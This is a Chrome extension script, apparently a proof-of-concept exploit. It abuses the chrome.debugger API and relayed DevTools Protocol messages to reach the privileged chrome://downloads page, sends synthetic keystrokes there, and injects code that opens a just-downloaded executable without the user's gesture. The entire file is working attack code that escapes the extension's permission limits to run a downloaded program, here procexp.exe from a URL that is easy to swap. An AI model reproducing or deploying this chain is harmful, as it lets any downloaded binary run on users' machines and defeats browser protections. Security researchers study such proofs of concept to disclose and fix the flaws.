const downloadUrl = "https://live.sysinternals.com/procexp.exe";

let targetTab = null;
let targetTabUpdateListener = null;

chrome.tabs.onUpdated.addListener(function (tabId, changeInfo, tab) {
    if (!targetTab || tabId !== targetTab.id  || changeInfo.status !== "complete" || !targetTabUpdateListener) {
        return;
    }

    targetTabUpdateListener(tab);
});

let debugEventListener = null;

chrome.debugger.onEvent.addListener(function (source, method, params) {
    if (debugEventListener) {
        debugEventListener(source, method, params);
    }
});

let messageId = 1;

startProcess();

function startProcess() {
    chrome.tabs.create({url: downloadUrl});

    // It doesn't matter whether the download has completed by the time findAndRunDownload is called
    // below. If that function is called before the download completes, the file will simply be
    // opened once the download has completed.
    setTimeout(() => {
        onDownloadStarted();
    }, 1000);
}

function onDownloadStarted() {
    chrome.tabs.create({url: "chrome://downloads"}, function (tab) {
        targetTab = tab;
    });
    
    targetTabUpdateListener = function (tab) {
        targetTabUpdateListener = null;

        onDownloadsPageLoaded(tab);
    };
}

function onDownloadsPageLoaded(downloadsTab) {
    chrome.debugger.getTargets(function (targets) {
        let downloadsTarget = targets.find(function (target) {
            if (target.type === "page" && target.tabId === downloadsTab.id) {
                return true;
            }

            return false;
        });

        if (!downloadsTarget) {
            return;
        }

        onDownloadsTargetFound(downloadsTarget.id);
    });
}

function onDownloadsTargetFound(downloadsTargetId) {
    chrome.tabs.create({url: "page.html"}, function (tab) {
        targetTab = tab;
    });
    
    targetTabUpdateListener = function (tab) {
        targetTabUpdateListener = null;

        onNavigatedToExtensionPage(tab, downloadsTargetId);
    };
}

function onNavigatedToExtensionPage(tab, downloadsTargetId) {
    chrome.debugger.attach({tabId: tab.id}, "1.3", function () {
        onDebuggerAttachedToExtensionPage(tab, downloadsTargetId);
    });
}

function onDebuggerAttachedToExtensionPage(tab, downloadsTargetId) {
    chrome.debugger.sendCommand({tabId: tab.id}, "Target.setAutoAttach",
        {autoAttach: true, waitForDebuggerOnStart: false, flatten: false});

    debugEventListener = function (source, method, params) {
        if (method === "Target.attachedToTarget") {
            debugEventListener = null;

            onAutoAttachedToChildFrame(tab, params.targetInfo.targetId, downloadsTargetId);
        }
    };
}

function onAutoAttachedToChildFrame(tab, childTargetId, downloadsTargetId) {
    let message = {id: messageId++, method: "Target.attachToTarget",
        params: {targetId: downloadsTargetId}};

    chrome.debugger.sendCommand({tabId: tab.id}, "Target.sendMessageToTarget",
        {message: JSON.stringify(message), targetId: childTargetId});

    debugEventListener = function (source, method, params) {
        if (method === "Target.receivedMessageFromTarget") {
            let decodedMessage = JSON.parse(params.message);

            if (decodedMessage.hasOwnProperty("method")
                && decodedMessage.method === "Target.attachedToTarget") {
                debugEventListener = null;

                onAttachedToDownloadsPage(tab, childTargetId, downloadsTargetId);
            }
        }
    };
}

function onAttachedToDownloadsPage(tab, childTargetId, downloadsTargetId) {
    let message = {id: messageId++, method: "Input.dispatchKeyEvent",
        params: {type: "rawKeyDown", key: "ArrowDown", windowsVirtualKeyCode: 40, nativeVirtualKeyCode: 40}};
    sendMessageToTargetViaRelay(tab, childTargetId, downloadsTargetId, message);

    setTimeout(() => {
        onDispatchedInputToDownloadsPage(tab, childTargetId, downloadsTargetId);
    }, 1000);
}

function onDispatchedInputToDownloadsPage(tab, childTargetId, downloadsTargetId) {
    let message = {id: messageId++, method: "Runtime.evaluate",
        params: {expression: findAndRunDownload.toString() + `findAndRunDownload("${downloadUrl}")`}};
    sendMessageToTargetViaRelay(tab, childTargetId, downloadsTargetId, message);
}

function sendMessageToTargetViaRelay(tab, relayTargetId, targetId, message) {
    let relayMessage = {id: messageId++, method: "Target.sendMessageToTarget",
        params: {message: JSON.stringify(message), targetId: targetId}};

    chrome.debugger.sendCommand({tabId: tab.id}, "Target.sendMessageToTarget",
        {message: JSON.stringify(relayMessage), targetId: relayTargetId});
}

function findAndRunDownload(downloadUrl) {
    let downloadsManager = document.getElementsByTagName("downloads-manager")[0];

    if (downloadsManager.items_.length === 0) {
        return;
    }

    /* It's assumed here that the file that was downloaded is still the most recent item. */
    let firstItem = downloadsManager.items_[0];

    if (firstItem.url === downloadUrl && !firstItem.fileExternallyRemoved) {
        downloadsManager.mojoHandler_.openFileRequiringGesture(firstItem.id);
    }
}